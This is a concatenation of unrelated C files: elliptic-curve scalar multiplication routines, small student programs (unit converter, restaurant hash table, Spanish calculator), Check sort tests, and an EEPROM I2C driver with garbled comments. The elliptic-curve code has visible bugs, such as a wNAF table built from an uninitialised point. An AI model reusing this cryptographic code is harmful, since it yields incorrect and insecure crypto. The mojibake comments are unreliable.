OS64MUL_256(&Z2inv, &src->x, &dst->x, Prime);
}
void ECADD(Ecc_pt *EN_P, Ecc_pt *EN_Q, Ecc_pt *EN_R, bigint_st *Prime)
{
bigint_st temp1 = {{0x00}, 0x00};
bigint_st temp2 = {{0x00}, 0x00};
bigint_st temp3 = {{0x00}, 0x00};
bigint_st X = {{0x00}, 0x00};
bigint_st Y = {{0x00}, 0x00};
Subtraction(&(EN_Q->y), &(EN_P->y), &temp1, Prime);
Subtraction(&(EN_Q->x), &(EN_P->x), &temp2, Prime);
Inverse_FLT(&temp2, &temp3, Prime);
OS64MUL_256(&temp1, &temp3, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
Subtraction(&temp1, &(EN_P)->x, &temp2, Prime);
Subtraction(&temp2, &(EN_Q)->x, &(EN_R)->x, Prime);
//!
Subtraction(&(EN_Q->y), &(EN_P->y), &temp1, Prime);
Subtraction(&(EN_Q->x), &(EN_P->x), &temp2, Prime);
Inverse_FLT(&temp2, &temp3, Prime);
OS64MUL_256(&temp1, &temp3, &temp2, Prime);
Subtraction(&(EN_P->x), &(EN_R)->x, &temp1, Prime);
OS64MUL_256(&temp2, &temp1, &temp3, Prime);
Subtraction(&temp3, &(EN_P->y), &(EN_R)->y, Prime);
}
void ECDBL(Ecc_pt *EN_P, Ecc_pt *EN_R, bigint_st *Prime, bigint_st *a)
{
bigint_st temp1 = {{0x00}, 0x00};
bigint_st temp2 = {{0x00}, 0x00};
bigint_st temp3 = {{0x00}, 0x00};
//! X
OS64MUL_256(&(EN_P->x), &(EN_P->x), &temp1, Prime);
Addition(&temp1, &temp1, &temp2, Prime);
Addition(&temp2, &temp1, &temp3, Prime);
// show(&temp3);
Addition(&temp3, a, &temp1, Prime);
Addition(&(EN_P->y), &(EN_P->y), &temp2, Prime);
Inverse_FLT(&temp2, &temp3, Prime);
OS64MUL_256(&temp1, &temp3, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
Subtraction(&temp1, &(EN_P->x), &temp2, Prime);
Subtraction(&temp2, &(EN_P->x), &(EN_R->x), Prime);
//! Y
OS64MUL_256(&(EN_P->x), &(EN_P->x), &temp1, Prime);
Addition(&temp1, &temp1, &temp2, Prime);
Addition(&temp2, &temp1, &temp3, Prime);
Addition(&temp3, a, &temp1, Prime);
Addition(&(EN_P->y), &(EN_P->y), &temp2, Prime);
Inverse_FLT(&temp2, &temp3, Prime);
OS64MUL_256(&temp1, &temp3, &temp2, Prime);
Subtraction(&(EN_P->x), &(EN_R->x), &temp1, Prime);
OS64MUL_256(&temp1, &temp2, &temp3, Prime);
Subtraction(&temp3, &(EN_P->y), &(EN_R->y), Prime);
}
void ECDBL_J(Ecc_Jpt *EN_P, Ecc_Jpt *EN_R, bigint_st *Prime)
{
bigint_st T1 = {{0x00}, 0x00};
bigint_st T2 = {{0x00}, 0x00};
bigint_st T3 = {{0x00}, 0x00};
bigint_st X3 = {{0x00}, 0x00};
bigint_st Y3 = {{0x00}, 0x00};
bigint_st Z3 = {{0x00}, 0x00};
bigint_st temp = {{0x00}, 0x00};
bigint_st temp2 = {{0x00}, 0x00};
OS64MUL_256(&EN_P->z, &EN_P->z, &T1, Prime); //2
Subtraction(&EN_P->x, &T1, &T2, Prime); //3
Addition(&EN_P->x, &T1, &temp, Prime); //4
copy_bigint(&T1, &temp);
OS64MUL_256(&T2, &T1, &T2, Prime); //5
Addition(&T2, &T2, &temp, Prime); //6
Addition(&temp, &T2, &temp2, Prime); //6
copy_bigint(&T2, &temp2);
Addition(&EN_P->y, &EN_P->y, &Y3, Prime); //7
OS64MUL_256(&Y3, &EN_P->z, &Z3, Prime); //8
OS64MUL_256(&Y3, &Y3, &temp, Prime); //9
copy_bigint(&Y3, &temp);
OS64MUL_256(&Y3, &EN_P->x, &T3, Prime); //10
OS64MUL_256(&Y3, &Y3, &Y3, Prime); //11
if (isEven(&Y3) == TRUE) //12
RightShift(&Y3);
else
{
Addition_NR(&Y3, Prime, &temp, Prime);
RightShift(&temp);
if (temp.e == 1)
temp.a[WORD_LEN - 1] ^= 0x80000000;
copy_bigint(&Y3, &temp);
}
OS64MUL_256(&T2, &T2, &X3, Prime); //13
Addition(&T3, &T3, &T1, Prime); //14
Subtraction(&X3, &T1, &temp, Prime); //15
copy_bigint(&X3, &temp);
Subtraction(&T3, &X3, &T1, Prime); //16
OS64MUL_256(&T1, &T2, &temp, Prime);
copy_bigint(&T1, &temp); //17
reset_bigint(&temp);
Subtraction(&T1, &Y3, &temp, Prime);
copy_bigint(&Y3, &temp); //18
set_EN_J_reverse(EN_R, X3.a, Y3.a, Z3.a);
}
void ECADD_J(Ecc_Jpt *EN_P, Ecc_pt *EN_Q, Ecc_Jpt *EN_R, bigint_st *Prime)
{
bigint_st T1 = {{0x00}, 0x00};
bigint_st T2 = {{0x00}, 0x00};
bigint_st T3 = {{0x00}, 0x00};
bigint_st T4 = {{0x00}, 0x00};
bigint_st X3 = {{0x00}, 0x00};
bigint_st Y3 = {{0x00}, 0x00};
bigint_st Z3 = {{0x00}, 0x00};
bigint_st temp = {{0x00}, 0x00};
bigint_st temp2 = {{0x00}, 0x00};
if (EN_Q->isinfinity == TRUE)
{
EN_R = EN_P;
}
if (EN_P->isinfinity == TRUE)
{
int cnt_i = 0;
EN_R->x = EN_Q->x;
EN_R->y = EN_Q->y;
word Z1_array[8] = {0xFFFFFFFF, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00, 0x00, 0x00};
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_R->z.a[cnt_i] = Z1_array[WORD_LEN - cnt_i - 1];
}
}
OS64MUL_256(&EN_P->z, &EN_P->z, &T1, Prime); //3
OS64MUL_256(&T1, &EN_P->z, &T2, Prime); //4
OS64MUL_256(&T1, &EN_Q->x, &T1, Prime); //5
OS64MUL_256(&T2, &EN_Q->y, &T2, Prime); //6
Subtraction(&T1, &EN_P->x, &temp, Prime); //7
copy_bigint(&T1, &temp);
Subtraction(&T2, &EN_P->y, &temp, Prime); //8
copy_bigint(&T2, &temp);
if (iszero(&T1) == TRUE) //! //9
{
printf(" T1 is zero\n");
if (iszero(&T2) == TRUE)
{
Ecc_Jpt temp = {{0x00}, 0x00};
Ecc_Jpt temp2 = {{0x00}, 0x00};
Trns_A_to_J(&temp, EN_Q, Prime);
ECDBL_J(&temp, &temp2, Prime);
EN_R = &temp2;
printf(" T2 is zero\n");
return;
}
else
{
printf("infinity\n");
EN_R->isinfinity = TRUE;
return;
}
}
OS64MUL_256(&EN_P->z, &T1, &Z3, Prime); //10
OS64MUL_256(&T1, &T1, &T3, Prime); //11
OS64MUL_256(&T3, &T1, &T4, Prime); //12
OS64MUL_256(&T3, &EN_P->x, &T3, Prime); //13
Addition(&T3, &T3, &T1, Prime); //14
OS64MUL_256(&T2, &T2, &X3, Prime); //15
Subtraction(&X3, &T1, &temp, Prime); //16
copy_bigint(&X3, &temp);
Subtraction(&X3, &T4, &temp, Prime); //17
copy_bigint(&X3, &temp);
Subtraction(&T3, &X3, &temp, Prime); //18
copy_bigint(&T3, &temp);
OS64MUL_256(&T3, &T2, &T3, Prime); //19
OS64MUL_256(&T4, &EN_P->y, &T4, Prime); //20
Subtraction(&T3, &T4, &Y3, Prime); //21
set_EN_J_reverse(EN_R, X3.a, Y3.a, Z3.a);
}
void ECLtoR(Ecc_pt *EN_P, bigint_st *K, Ecc_pt *EN_R, bigint_st *Prime, bigint_st *a)
{
int cnt_i = 0, cnt_j = 0;
int DC = 0x00;
Ecc_pt temp1 = {{0x00}, 0x00};
Ecc_pt temp2 = {{0x00}, 0x00};
Ecc_pt temp3 = {{0x00}, 0x00};
int find_first_bit = 0;
int count = 0; //?
//!reset?
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
for (cnt_j = 31; cnt_j >= 0; cnt_j--)
{
if (find_first_bit == 1)
{
ECDBL(&temp1, &temp2, Prime, a);
DC = ((K->a[cnt_i]) >> cnt_j) & 0x01;
if (DC == 1)
{
ECADD(&temp2, EN_P, &temp3, Prime);
EN_copy(&temp1, &temp3);
continue;
}
EN_copy(&temp1, &temp2);
continue;
}
DC = ((K->a[cnt_i]) >> cnt_j) & 0x01;
if (DC == 0)
continue;
if (DC == 1)
{
EN_copy(&temp1, EN_P);
find_first_bit = 1;
}
continue;
}
}
EN_copy(EN_R, &temp1);
}
void ECLtoR_J(Ecc_Jpt *EN_P, bigint_st *K, Ecc_Jpt *EN_R, bigint_st *Prime)
{
int cnt_i = 0, cnt_j = 0;
int DC = 0x00;
Ecc_Jpt temp1 = {{0x00}, 0x00};
Ecc_Jpt temp2 = {{0x00}, 0x00};
Ecc_Jpt temp3 = {{0x00}, 0x00};
Ecc_pt ttemp = {{0x00}, 0x00};
int find_first_bit = 0;
int count = 0; //?
//!reset?
int abc = 0;
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
for (cnt_j = 31; cnt_j >= 0; cnt_j--)
{
if (find_first_bit == 1)
{
ECDBL_J(&temp1, &temp2, Prime);
DC = ((K->a[cnt_i]) >> cnt_j) & 0x01;
if (DC == 1)
{
Trns_J_to_A(&ttemp, EN_P, Prime);
ECADD_J(&temp2, &ttemp, &temp3, Prime);
EN_J_copy(&temp1, &temp3);
continue;
}
EN_J_copy(&temp1, &temp2);
continue;
}
DC = ((K->a[cnt_i]) >> cnt_j) & 0x01;
if (DC == 0)
continue;
if (DC == 1)
{
EN_J_copy(&temp1, EN_P);
find_first_bit = 1;
}
continue;
}
}
EN_J_copy(EN_R, &temp1);
}
void ECRtoL(Ecc_pt *EN_P, bigint_st *K, Ecc_pt *EN_R, bigint_st *Prime, bigint_st *a)
{
int cnt_i = 0, cnt_j = 0;
int DC = 0x00;
Ecc_pt temp1 = {{0x00}, 0x00};
Ecc_pt temp2 = {{0x00}, 0x00};
Ecc_pt PA = {{0x00}, 0x00};
Ecc_pt A = {{0x00}, 0x00};
int count = 0x00;
int first_bit = 0;
EN_copy(&PA, EN_P);
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
for (cnt_j = 0; cnt_j < 32; cnt_j++)
{
DC = ((K->a[cnt_i]) >> cnt_j) & 0x01;
if (DC == 1)
{
first_bit += 1;
if (first_bit == 1)
{
EN_copy(&A, &PA);
ECDBL(&PA, &temp1, Prime, a);
EN_copy(&PA, &temp1);
}
else
{
ECADD(&A, &PA, &temp1, Prime);
EN_copy(&A, &temp1);
ECDBL(&PA, &temp1, Prime, a);
EN_copy(&PA, &temp1);
}
}
else
{
ECDBL(&PA, &temp1, Prime, a);
EN_copy(&PA, &temp1);
}
}
EN_copy(EN_R, &A);
}
return;
}
void NAF_recoding(bigint_st *Scalar, char *NAF, bigint_st *Prime)
{
int cnt_i = 0;
bigint_st one = {{0x00}, 0x00};
bigint_st K = {{0x00}, 0x00};
bigint_st temp = {{0x00}, 0x00};
bigint_st temp2 = {{0x00}, 0x00};
bigint_st temp3 = {{0x00}, 0x00};
char modtemp = 0x00;
copy_bigint(&K, Scalar);
one.a[0] = 0x01;
while (Compare(&K, &one) != SCD_IS_BIG)
{
if (isEven(&K) != TRUE)
{
NAF[cnt_i] = K.a[0] & 0x0000000f;
if (NAF[cnt_i] > 8)
{
NAF[cnt_i] = NAF[cnt_i] - 16;
modtemp = NAF[cnt_i];
modtemp = ~(modtemp) + 1;
temp.a[0] = modtemp;
Addition(&K, &temp, &temp2, Prime);
copy_bigint(&K, &temp2);
}
else
{
temp.a[0] = NAF[cnt_i];
Subtraction(&K, &temp, &temp2, Prime);
copy_bigint(&K, &temp2);
}
}
else
{
NAF[cnt_i] = 0x00;
}
RightShift(&K);
cnt_i++;
}
}
void ECLtoR_wNAF(Ecc_pt *EN_P, char *NAF ,Ecc_pt *EN_R, bigint_st *Prime, bigint_st *a)
{
int cnt_i = 0, cnt_j = 0;
int DC = 0x00;
Ecc_pt temp1 = {{0x00}, 0x00};
Ecc_pt temp2 = {{0x00}, 0x00};
Ecc_pt temp3 = {{0x00}, 0x00};
Ecc_pt Pi[4] = {{0x00}, 0x00};
Ecc_pt Pi2[4] = {{0x00}, 0x00};
Ecc_pt ttemp = {{0x00}, 0x00};
char temp = 0;
EN_copy(Pi, EN_P); //* 1
ECDBL(EN_P, &temp1, Prime, a);
ECADD(EN_P, &ttemp, &temp2, Prime);
EN_copy(Pi + 1, &temp2); //* 3
ECADD(Pi + 1, &ttemp, &temp3, Prime);
EN_copy(Pi + 2, &temp3); //* 5
ECADD(Pi + 2, &ttemp, &temp3, Prime);
EN_copy(Pi + 3, &temp3); //* 7
EN_copy(Pi2, Pi); //* 1
Subtraction(Prime, &(Pi[0].y), &(Pi2[0].y), Prime);
EN_copy(Pi2 + 1, Pi + 1); //* 3
Subtraction(Prime, &(Pi[1].y), &(Pi2[1].y), Prime);
EN_copy(Pi2 + 2, Pi + 2); //* 5
Subtraction(Prime, &(Pi[2].y), &(Pi2[2].y), Prime);
EN_copy(Pi2 + 3, Pi + 3); //* 7
Subtraction(Prime, &(Pi[3].y), &(Pi2[3].y), Prime);
int find_first_bit = 0;
//!reset?
for (cnt_i = WORD_LEN * WORD_BITLEN + 1; cnt_i >= 0; cnt_i--)
{
if (find_first_bit == 1)
{
ECDBL(&temp1, &temp2, Prime,a);
if (NAF[cnt_i] != 0x00)
{
if (NAF[cnt_i] > 0x00)
{
EN_copy(&ttemp,&Pi[((NAF[cnt_i] - 1) / 2)]);
ECADD(&temp2, &ttemp, &temp3, Prime);
EN_copy(&temp1, &temp3);
continue;
}
else
{
EN_copy(&ttemp,&Pi2[((-NAF[cnt_i] - 1) / 2)]);
ECADD(&temp2, &ttemp, &temp3, Prime);
EN_copy(&temp1, &temp3);
continue;
}
}
EN_copy(&temp1, &temp2);
continue;
}
if (NAF[cnt_i] == 0)
continue;
if (NAF[cnt_i] != 0)
{
EN_copy(&temp1, &Pi[((NAF[cnt_i] - 1) / 2)]);
find_first_bit = 1;
}
continue;
}
EN_copy(EN_R, &temp1);
}
void ECLtoR_J_wNAF(Ecc_Jpt *EN_P, char *NAF, Ecc_Jpt *EN_R, bigint_st *Prime)
{
int cnt_i = 0, cnt_j = 0;
int DC = 0x00;
Ecc_Jpt temp1 = {{0x00}, 0x00};
Ecc_Jpt temp2 = {{0x00}, 0x00};
Ecc_Jpt temp3 = {{0x00}, 0x00};
Ecc_Jpt Pi[4] = {{0x00}, 0x00};
Ecc_Jpt Pi2[4] = {{0x00}, 0x00};
Ecc_pt ttemp = {{0x00}, 0x00};
char temp = 0;
EN_J_copy(Pi, EN_P); //* 1
ECDBL_J(EN_P, &temp1, Prime);
Trns_J_to_A(&ttemp, &temp1, Prime);
ECADD_J(EN_P, &ttemp, &temp2, Prime);
EN_J_copy(Pi + 1, &temp2); //* 3
ECADD_J(Pi + 1, &ttemp, &temp3, Prime);
EN_J_copy(Pi + 2, &temp3); //* 5
ECADD_J(Pi + 2, &ttemp, &temp3, Prime);
EN_J_copy(Pi + 3, &temp3); //* 7
EN_J_copy(Pi2, Pi); //* 1
Subtraction(Prime, &(Pi[0].y), &(Pi2[0].y), Prime);
EN_J_copy(Pi2 + 1, Pi + 1); //* 3
Subtraction(Prime, &(Pi[1].y), &(Pi2[1].y), Prime);
EN_J_copy(Pi2 + 2, Pi + 2); //* 5
Subtraction(Prime, &(Pi[2].y), &(Pi2[2].y), Prime);
EN_J_copy(Pi2 + 3, Pi + 3); //* 7
Subtraction(Prime, &(Pi[3].y), &(Pi2[3].y), Prime);
int find_first_bit = 0;
//!reset?
for (cnt_i = WORD_LEN * WORD_BITLEN + 1; cnt_i >= 0; cnt_i--)
{
if (find_first_bit == 1)
{
ECDBL_J(&temp1, &temp2, Prime);
if (NAF[cnt_i] != 0x00)
{
if (NAF[cnt_i] > 0x00)
{
Trns_J_to_A(&ttemp, &Pi[((NAF[cnt_i] - 1) / 2)], Prime);
ECADD_J(&temp2, &ttemp, &temp3, Prime);
EN_J_copy(&temp1, &temp3);
continue;
}
else
{
Trns_J_to_A(&ttemp, &Pi2[((-NAF[cnt_i] - 1) / 2)], Prime);
ECADD_J(&temp2, &ttemp, &temp3, Prime);
EN_J_copy(&temp1, &temp3);
continue;
}
}
EN_J_copy(&temp1, &temp2);
continue;
}
if (NAF[cnt_i] == 0)
continue;
if (NAF[cnt_i] != 0)
{
EN_J_copy(&temp1, &Pi[((NAF[cnt_i] - 1) / 2)]);
find_first_bit = 1;
}
continue;
}
EN_J_copy(EN_R, &temp1);
}
void comb_Table(char table[WORD_LEN][WORD_BITLEN], Ecc_pt *J_table, Ecc_pt *EN_P, bigint_st *K, bigint_st *Prime)
{
int cnt_i, cnt_j;
Ecc_Jpt temp = {0x00};
Ecc_Jpt temp2 = {0x00};
Ecc_pt ttemp = {0x00};
EN_copy(J_table, EN_P);
EN_copy(J_table + 1, EN_P);
for (cnt_i = 1; cnt_i < 8; cnt_i++)
{
for (cnt_j = 0; cnt_j < 32; cnt_j++)
{
Trns_A_to_J(&temp, J_table + cnt_i, Prime);
ECDBL_J(&temp, &temp2, Prime);
Trns_J_to_A(&ttemp, &temp2, Prime);
EN_copy(J_table + cnt_i, &ttemp);
}
EN_copy(&J_table[cnt_i + 1], &J_table[cnt_i]);
}
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
for (cnt_j = 0; cnt_j < WORD_BITLEN; cnt_j++)
{
table[cnt_i][cnt_j] = (K->a[cnt_i] >> (WORD_BITLEN - cnt_j - 1)) & 0x01;
}
}
}
void ECLtoR_J_comb(Ecc_Jpt *EN_P, char table[WORD_LEN][WORD_BITLEN], Ecc_pt *J_Table, Ecc_Jpt *EN_R, bigint_st *Prime)
{
int cnt_i = 0, cnt_j = 0;
int bit_check = 0;
Ecc_Jpt jtemp = {{0x00}, 0x00};
Ecc_Jpt jtemp2 = {{0x00}, 0x00};
Ecc_pt Q = {0x00,};
for (cnt_i = 0; cnt_i < WORD_BITLEN; cnt_i++)
{
for (cnt_j = 0; cnt_j < WORD_LEN; cnt_j++)
{
if (table[cnt_j][cnt_i] == 1)
{
bit_check += 1;
if (bit_check == 1)
{
Trns_A_to_J(&jtemp, &J_Table[cnt_j], Prime);
EN_J_copy(&jtemp2, &jtemp);
}
else
{
ECADD_J(&jtemp2, J_Table + cnt_j, &jtemp, Prime);
EN_J_copy(&jtemp2, &jtemp);
}
}
}
ECDBL_J(&jtemp2, &jtemp, Prime);
EN_J_copy(EN_R, &jtemp2);
EN_J_copy(&jtemp2, &jtemp);
}
}
|
C
|
#include<stdio.h>
o_to_c(int x);
int main (void){
int o, c;
printf("Enter ounces to convert to cups: ");
scanf("%d", &o);
c=o_to_c(o);
printf("%d ounces require %d cups.\n", o, c);
return 0;
}
o_to_c(int x){
int res;
if (x%8!=0){
res=(x/8)+1;
} else {
res=x/8;
}
return res;
}
//Coded by Rafed.
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const int MAX_ELEMENT = 25;
//linked list
struct NodeOrder
{
char dishName[255];
int totalPrice;
NodeOrder *nextOrder, *prevOrder;
} * headOrder, *tailOrder, *currOrder;
//hash table
struct Node1
{
char name[255];
int totalPrice;
NodeOrder *order;
Node1 *next;
} * head1[MAX_ELEMENT], *tail1[MAX_ELEMENT];
//linked list
NodeOrder *createNodeOrder(char *dishName)
{
NodeOrder *temp = (NodeOrder *)malloc(sizeof(NodeOrder));
strcpy(temp->dishName, dishName);
temp->nextOrder = temp->prevOrder = NULL;
return temp;
}
//hash table
Node1 *createNode1(char *name)
{
Node1 *temp = (Node1 *)malloc(sizeof(Node1));
strcpy(temp->name, name);
temp->next = NULL;
return temp;
}
//hash table
unsigned long DJB2(char *str)
{
unsigned long hash = 5381;
int c;
while ((c = *str++))
hash = ((hash << 5) + hash) + c;
// printf("%llu\n", hash);
return hash % MAX_ELEMENT;
}
//hash table
void insert(char *str)
{
int index = DJB2(str);
if (head1[index])
{
Node1 *temp = createNode1(str);
tail1[index]->next = temp;
tail1[index] = temp;
}
else
{
head1[index] = tail1[index] = createNode1(str);
}
}
//hash table
bool searchCust(char *customerName)
{
for (int i = 0; i < MAX_ELEMENT; i++)
{
if (head1[i])
{
Node1 *curr1 = head1[i];
while (curr1)
{
if (strcmp(curr1->name, customerName) == 0)
{
return true;
}
curr1 = curr1->next;
}
}
}
return false;
}
void searchIndex(int index)
{
for (int i = 0; i < MAX_ELEMENT; i++)
{
if (head1[i])
{
Node1 *curr1 = head1[i];
while (curr1)
{
if (i == index)
{
printf("Name: %s\n", curr1->name);
int food = 0;
while (curr1->order)
{
food++;
printf("[%d]. %s\n", food, curr1->order->dishName);
curr1->order = curr1->order->nextOrder;
}
if (food > 0)
{
printf("Total: %d\n", head1[i]->totalPrice);
printf("Please enter to continue...");
getchar();
return;
}
else
{
return;
}
}
curr1 = curr1->next;
}
}
}
return;
}
bool searchIndex1(int index)
{
for (int i = 0; i < MAX_ELEMENT; i++)
{
if (head1[i])
{
Node1 *curr1 = head1[i];
while (curr1)
{
if (i == index)
{
return true;
}
curr1 = curr1->next;
}
}
}
return false;
}
//hash table
void view()
{
for (int i = 0; i < MAX_ELEMENT; i++)
{
// printf("%d ", i);
if (head1[i])
{
Node1 *curr1 = head1[i];
while (curr1)
{
if (curr1->name)
{
printf("[%d]. %s\n", i, curr1->name);
}
curr1 = curr1->next;
}
}
}
}
// TOTAL ORDER
//hash table
void pushOrder(char *customerName, char *dishName, int payment)
{
int flag = 0;
for (int i = 0; i < MAX_ELEMENT; i++)
{
if (head1[i])
{
Node1 *curr1 = head1[i];
while (curr1)
{
if (strcmp(curr1->name, customerName) == 0)
{
head1[i]->totalPrice = payment;
flag = 1;
break;
}
curr1 = curr1->next;
}
if (flag == 1)
{
if (!(curr1->order))
{
curr1->order = createNodeOrder(dishName);
}
else
{
while (curr1->order->nextOrder)
{
curr1->order = curr1->order->nextOrder;
}
curr1->order->nextOrder = createNodeOrder(dishName);
}
break;
}
}
}
}
// bool viewOrderPay(int index)
// {
// int ctrindex = 0;
// for (int i = 0; i < MAX_ELEMENT; i++)
// {
// // printf("%d ", i);
// if (head1[i])
// {
// Node1 *curr1 = head1[i];
// while (curr1)
// {
// ctrindex++;
// if (ctrindex == index)
// {
// printf("%s\n", curr1->name);
// if (!curr1->order)
// {
// printf("You have not ordered anything\n");
// return false;
// }
// else
// {
// int food = 0;
// while (curr1->order)
// {
// food++;
// printf("[%d]. %s\n", food, curr1->order->dishName);
// curr1->order = curr1->order->nextOrder;
// }
// printf("Total: %d\n", head1[i]->totalPrice);
// printf("Please enter to continue...");
// getchar();
// return true;
// }
// }
// curr1 = curr1->next;
// }
// }
// }
// return false;
// }
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include "funciones.h"
int main()
{
char seguir='s';
int opcion=0;
int numA, numB, resultado=0;
long long resultadoFactorial;
while(seguir=='s')
{
printf("1- Ingresar el primer numero \n");
printf("2- Ingresar el segundo numero \n");
printf("3- Calcular la suma \n");
printf("4- Calcular la resta \n");
printf("5- Calcular la division \n");
printf("6- Calcular la multiplicacion \n");
printf("7- Calcular el factorial \n");
printf("8- Calcular todas las operaciones\n");
printf("9- Salir\n");
printf("Ingresar los dos numeros, luego elegir una operacion. Si desea salir, presionar el numero 9.\n");
scanf("%d",&opcion);
switch(opcion)
{
case 1:
printf("Ingresar el primer numero: ");
scanf("%d",&numA);
printf("El primer numero ingresado es: %d \n",numA);
break;
case 2:
printf("Ingresar el segundo numero: ");
scanf("%d",&numB);
printf("El segundo numero ingresado es: %d \n",numB);
break;
case 3:
calcularSuma(numA, numB);
break;
case 4:
calcularResta(numA, numB);
break;
case 5:
calcularDivision(numA, numB);
break;
case 6:
calcularMultiplicacion(numA, numB);
break;
case 7:
calcularFactorial(numA);
break;
case 8:
calcularSuma(numA, numB);
calcularResta(numA, numB);
calcularDivision(numA, numB);
calcularMultiplicacion(numA, numB);
calcularFactorial(numA);
break;
case 9:
seguir = 'n';
break;
}
}
return 0;
}
void calcularSuma(int numA, int numB){
if(verificacion(numA, numB)){
int resultado=suma(numA, numB);
printf("el resultado de la suma es: %d \n",resultado);
}else{
printf("carga los datos");
}
}
void calcularDivision(int numA, int numB){
if(verificarDivision(numA, numB)){
float resultado = division(numA, numB);
printf("el resultado de la division es: %.2f \n",resultado);
}else{
printf("el segundo numero no puede ser cero");
}
}
void calcularResta(int numA, int numB){
if(verificacion(numA, numB)){
int resultado=resta(numA, numB);
printf("el resultado de la resta es: %d \n",resultado);
}else{
printf("carga los datos");
}
}
void calcularMultiplicacion(int numA, int numB){
if(verificacion(numA, numB)){
int resultado=multiplicacion(numA, numB);
printf("el resultado de la multiplicacion es: %d \n",resultado);
}else{
printf("carga los datos");
}
}
void calcularFactorial(int numA, int numB){
if(verificacion(numA,numB)){
long long resultadoFactorial = factorial(numA);
printf("el resultado del factorial es: %lld \n", resultadoFactorial);
}else{
printf("carga los datos");
}
}
|
C
|
#include "../inc/check_sort.h"
void sort_check(int *array1, const int len1, int *array2, const int len2)
{
mysort(array1, len1, sizeof(int), comparator);
int r = comparison_of_arrays(array1, len1, array2, len2);
ck_assert_int_eq(r, SUCCESS);
}
START_TEST(norm_sort)
{
int array1[] = {1, 2, 9, -23, 3, 4, 0, -8, 2};
int array2[] = {-23, -8, 0, 1, 2, 2, 3, 4, 9};
sort_check(array1, 9, array2, 9);
}
END_TEST
START_TEST(sort_file_with_one_elem)
{
int array1[] = {8};
int array2[] = {8};
sort_check(array1, 1, array2, 1);
}
END_TEST
START_TEST(file_is_already_sorted)
{
int array1[] = {-23, -8, 0, 1, 2, 2, 3, 4, 9};
int array2[] = {-23, -8, 0, 1, 2, 2, 3, 4, 9};
sort_check(array1, 9, array2, 9);
}
END_TEST
START_TEST(sort_reverse_file)
{
int array1[] = {9, 8, 8, 7, 2, 1, 0, -1};
int array2[] = {-1, 0, 1, 2, 7, 8, 8, 9};
sort_check(array1, 8, array2, 8);
}
END_TEST
Suite *sort_suite(Suite *s)
{
TCase *tcase_pos;
tcase_pos = tcase_create("positives");
tcase_add_test(tcase_pos, norm_sort);
tcase_add_test(tcase_pos, sort_file_with_one_elem);
tcase_add_test(tcase_pos, file_is_already_sorted);
tcase_add_test(tcase_pos, sort_reverse_file);
suite_add_tcase(s, tcase_pos);
return s;
}
|
C
|
#include "at24c512.h"
#include "at_iic.h"
/******************************************************************************
صı
******************************************************************************/
//unsigned char buffer[4];
/**
*****************************************************************************
* @Name : FM24C256дһֽ
*
* @Brief : none
*
* @Input : FM_ADDFM24C256ĵַд 0xa40xa0
RAM_ADD:ڴַ Χ0x0000---0x7fff
* dat Ҫд
*
* @Output : none
*
* @Return : none
*****************************************************************************
**/
void FM24C256_Write_Byte(uint8_t FM_ADD,uint16_t RAM_ADD, char dat)
{
FM_IIC_Start(); //IIC
FM_IIC_Send_Byte(FM_ADD); //дԼѡ 0xa0=1д 0xa42д
FM_IIC_Wait_Ack(); //ȴӦ
FM_IIC_Send_Byte(RAM_ADD>>8); //ڴַĸ8λ
FM_IIC_Wait_Ack();
FM_IIC_Send_Byte(RAM_ADD%256); //ڴַĵ8λ
FM_IIC_Wait_Ack();
FM_IIC_Send_Byte(dat); //һֽ
FM_IIC_Wait_Ack();
FM_IIC_Stop(); //ֹͣ
HAL_Delay(10);
}
/**
*****************************************************************************
* @Name : AT24C512һֽ
*
* @Brief : none
*
* @Input : FM_ADDFM24C256ĵַд 0xa00xa4
RAM_ADD:ڴַ Χ0x0000---0x7fff
*
*
* @Output : none
*
* @Return : dat
*****************************************************************************
**/
uint8_t FM24C256_Read_Byte(uint8_t FM_ADD,uint16_t RAM_ADD)
{
uint8_t temp=0;
FM_IIC_Start(); //IIC
FM_IIC_Send_Byte(FM_ADD); //ͶԼѡ 0xa0=1д 0xa42д
FM_IIC_Wait_Ack(); //ȴӦ
FM_IIC_Send_Byte(RAM_ADD>>8); //ڴַĸ8λ
FM_IIC_Wait_Ack();
FM_IIC_Send_Byte(RAM_ADD%256); //ڴַĵ8λ
FM_IIC_Wait_Ack();
FM_IIC_Start(); //IIC
FM_IIC_Send_Byte(FM_ADD+1); //Ͷָ 0xa1=0xa0+11Ķ 0xa5=0x24+12Ķ
FM_IIC_Wait_Ack();
temp=FM_IIC_Read_Byte(0); //
FM_IIC_Stop(); //ֹͣ
return temp; //ݷ
}
/**
*****************************************************************************
* @Name : AT24C512дNֽ Page Write ҳд
*
* @Brief : none
*
* @Input : FM_ADDFM24C256ĵַд 0xa00xa4
RAM_ADD:ʼдڴַ Χ0x0000---0x7fff
* dat Ҫд16λ32λ
* len: Ҫдݵij 24
* @Output : none
*
* @Return : none
*****************************************************************************
**/
void FM24C256_Write_NByte(uint8_t FM_ADD,uint16_t RAM_ADD,uint8_t n, char nBuffer[n])
{
uint8_t i;
FM_IIC_Start(); //IIC
FM_IIC_Send_Byte(FM_ADD); //дԼѡ 0xa0=1д 0xa42д
FM_IIC_Wait_Ack(); //ȴӦ
FM_IIC_Send_Byte(RAM_ADD>>8); //ڴַ1ĸ8λ
FM_IIC_Wait_Ack();
FM_IIC_Send_Byte(RAM_ADD%256); //ڴַ1ĵ8λ
FM_IIC_Wait_Ack();
for(i=0;i<n;i++)
{
FM_IIC_Send_Byte(nBuffer[i]); //һֽ
FM_IIC_Wait_Ack();
}
FM_IIC_Stop(); //ֹͣ
HAL_Delay(10);
}
/**
*****************************************************************************
* @Name : FM24C256Mֽ Sequential Read
*
* @Brief : none
*
* @Input : FM_ADDFM24C256ĵַд 0xa70xa3
RAM_ADD:ʼڴַ Χ0x0000---0x7fff
* dat Ҫ16λ32λ
* len: Ҫдݵij 24
* @Output : none
*
* @Return : none
*****************************************************************************
**/
